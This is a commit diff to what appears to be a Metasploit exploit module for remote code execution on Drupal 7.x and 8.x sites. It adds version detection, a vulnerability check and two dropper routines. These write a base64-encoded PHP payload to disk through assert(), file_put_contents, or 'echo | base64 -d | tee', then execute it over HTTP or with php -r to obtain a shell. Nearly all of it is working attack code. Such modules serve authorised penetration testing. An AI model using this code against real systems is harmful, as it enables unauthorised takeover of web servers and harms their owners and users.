Rewrite PHP targets to work with 7.x and 8.x
Win some, lose some. php -r spawns a new (obvious) command. :/ Check method and version detection also rewritten. :)GSoC/Meterpreter_Web_Console
parent
8be58d315c
commit
c8b6482ab0
|
@ -8,7 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
# XXX: CmdStager can't handle badchars
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -43,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Platform' => ['php', 'unix', 'linux'],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Payload' => {'BadChars' => '&'},
|
||||
'Payload' => {'BadChars' => '&>\''},
|
||||
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
|
||||
'Targets' => [
|
||||
#
|
||||
|
@ -120,21 +121,39 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [false, 'Writable dir for dropped binaries'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
token = random_crap
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
res = execute_command(token, func: 'printf')
|
||||
|
||||
if res && res.body.include?(token)
|
||||
return CheckCode::Vulnerable
|
||||
if drupal_version
|
||||
print_status("Drupal #{@version} targeted at #{full_uri}")
|
||||
checkcode = CheckCode::Detected
|
||||
else
|
||||
print_error('Could not configure Drupal version')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
token = random_crap
|
||||
res = execute_command(token, func: 'printf')
|
||||
|
||||
if res && res.body.start_with?(token)
|
||||
checkcode = CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||
# XXX: Naughty datastore modification
|
||||
|
@ -143,69 +162,129 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
case target.name
|
||||
when /PHP In-Memory/
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
# In-process execution when assert() is enabled
|
||||
execute_command(payload.encoded, func: 'assert')
|
||||
when /PHP Dropper/
|
||||
tmpfile = random_crap
|
||||
encoded = Rex::Text.encode_base64("<?php #{payload.encoded}; ?>")
|
||||
|
||||
stage1 = %Q{
|
||||
file_put_contents("#{tmpfile}", base64_decode("#{encoded}"));
|
||||
}
|
||||
|
||||
stage2 = %Q{
|
||||
include_once("#{tmpfile}");
|
||||
}
|
||||
|
||||
register_file_for_cleanup(tmpfile)
|
||||
|
||||
execute_command(stage1.strip, func: 'assert')
|
||||
execute_command(stage2.strip, func: 'assert')
|
||||
when '8.x'
|
||||
# XXX: This will spawn a *very* obvious process
|
||||
execute_command("php -r '#{payload.encoded}'")
|
||||
end
|
||||
when /Unix In-Memory/
|
||||
execute_command(payload.encoded)
|
||||
when /Linux Dropper/
|
||||
execute_cmdstager
|
||||
when /PHP Dropper/, /Linux Dropper/
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
execute_dropper7
|
||||
when '8.x'
|
||||
execute_dropper8
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# XXX: Ivars are being preserved
|
||||
def cleanup
|
||||
begin
|
||||
remove_instance_variable(:@version)
|
||||
rescue NameError
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def execute_dropper7
|
||||
php_file = "#{random_crap}.php"
|
||||
|
||||
# Return the PHP payload or a PHP binary dropper
|
||||
dropper = get_write_exec_payload(
|
||||
writable_path: datastore['WritableDir'],
|
||||
unlink_self: true # Worth a shot
|
||||
)
|
||||
|
||||
# Encode away potential badchars with Base64
|
||||
dropper = Rex::Text.encode_base64(dropper)
|
||||
|
||||
# Stage 1 decodes the PHP and writes it to disk
|
||||
stage1 = %Q{
|
||||
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
|
||||
}
|
||||
|
||||
# Stage 2 executes said PHP in-process
|
||||
stage2 = %Q{
|
||||
include_once("#{php_file}");
|
||||
}
|
||||
|
||||
# :unlink_self may not work, so let's make sure
|
||||
register_file_for_cleanup(php_file)
|
||||
|
||||
# Hopefully pop our shell with assert()
|
||||
execute_command(stage1.strip, func: 'assert')
|
||||
execute_command(stage2.strip, func: 'assert')
|
||||
end
|
||||
|
||||
def execute_dropper8
|
||||
php_file = "#{random_crap}.php"
|
||||
|
||||
# Return the PHP payload or a PHP binary dropper
|
||||
dropper = get_write_exec_payload(
|
||||
writable_path: datastore['WritableDir'],
|
||||
unlink_self: true # Worth a shot
|
||||
)
|
||||
|
||||
# Encode away potential badchars with Base64
|
||||
dropper = Rex::Text.encode_base64(dropper)
|
||||
|
||||
# :unlink_self may not work, so let's make sure
|
||||
register_file_for_cleanup(php_file)
|
||||
|
||||
# Write the payload or dropper to disk (!)
|
||||
# NOTE: Analysis indicates > is a badchar for 8.x
|
||||
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
|
||||
|
||||
# Attempt in-process execution of our PHP script
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, php_file)
|
||||
)
|
||||
|
||||
return if session_created?
|
||||
|
||||
# Last-ditch effort to get a shell with PHP CLI
|
||||
execute_command("php #{php_file}")
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
# TODO: passthru() may be disabled, so try others
|
||||
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
|
||||
|
||||
@version ||=
|
||||
if target['Version']
|
||||
target['Version'].to_s
|
||||
else
|
||||
detect_version.to_s
|
||||
end
|
||||
|
||||
return if @version.empty?
|
||||
|
||||
unless @version_printed
|
||||
print_good("Drupal #{@version} detected at #{full_uri}")
|
||||
@version_printed = true
|
||||
end
|
||||
|
||||
vprint_status("Executing with #{func}(): #{cmd}")
|
||||
print_status("Executing with #{func}(): #{cmd}")
|
||||
|
||||
res =
|
||||
case @version
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
exploit_drupal7(func, cmd)
|
||||
when '8.x'
|
||||
exploit_drupal8(func, cmd)
|
||||
end
|
||||
|
||||
unless res && res.code == 200 || session_created?
|
||||
if res && res.code != 200
|
||||
print_error("Unexpected reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
print_line(res.body) if datastore['DUMP_OUTPUT']
|
||||
if res && datastore['DUMP_OUTPUT']
|
||||
print_line(res.body)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def detect_version
|
||||
def drupal_version
|
||||
if target['Version']
|
||||
@version = target['Version']
|
||||
return @version
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
|
@ -213,11 +292,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
return unless res && res.code == 200
|
||||
|
||||
@version =
|
||||
case res.headers['X-Generator']
|
||||
when /Drupal 7/
|
||||
return Gem::Version.new('7.x')
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
return Gem::Version.new('8.x')
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
|
||||
generator = res.get_html_document.at(
|
||||
|
@ -226,6 +306,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
return unless generator
|
||||
|
||||
@version =
|
||||
case generator.value
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
|
|
Loading…
Reference in New Issue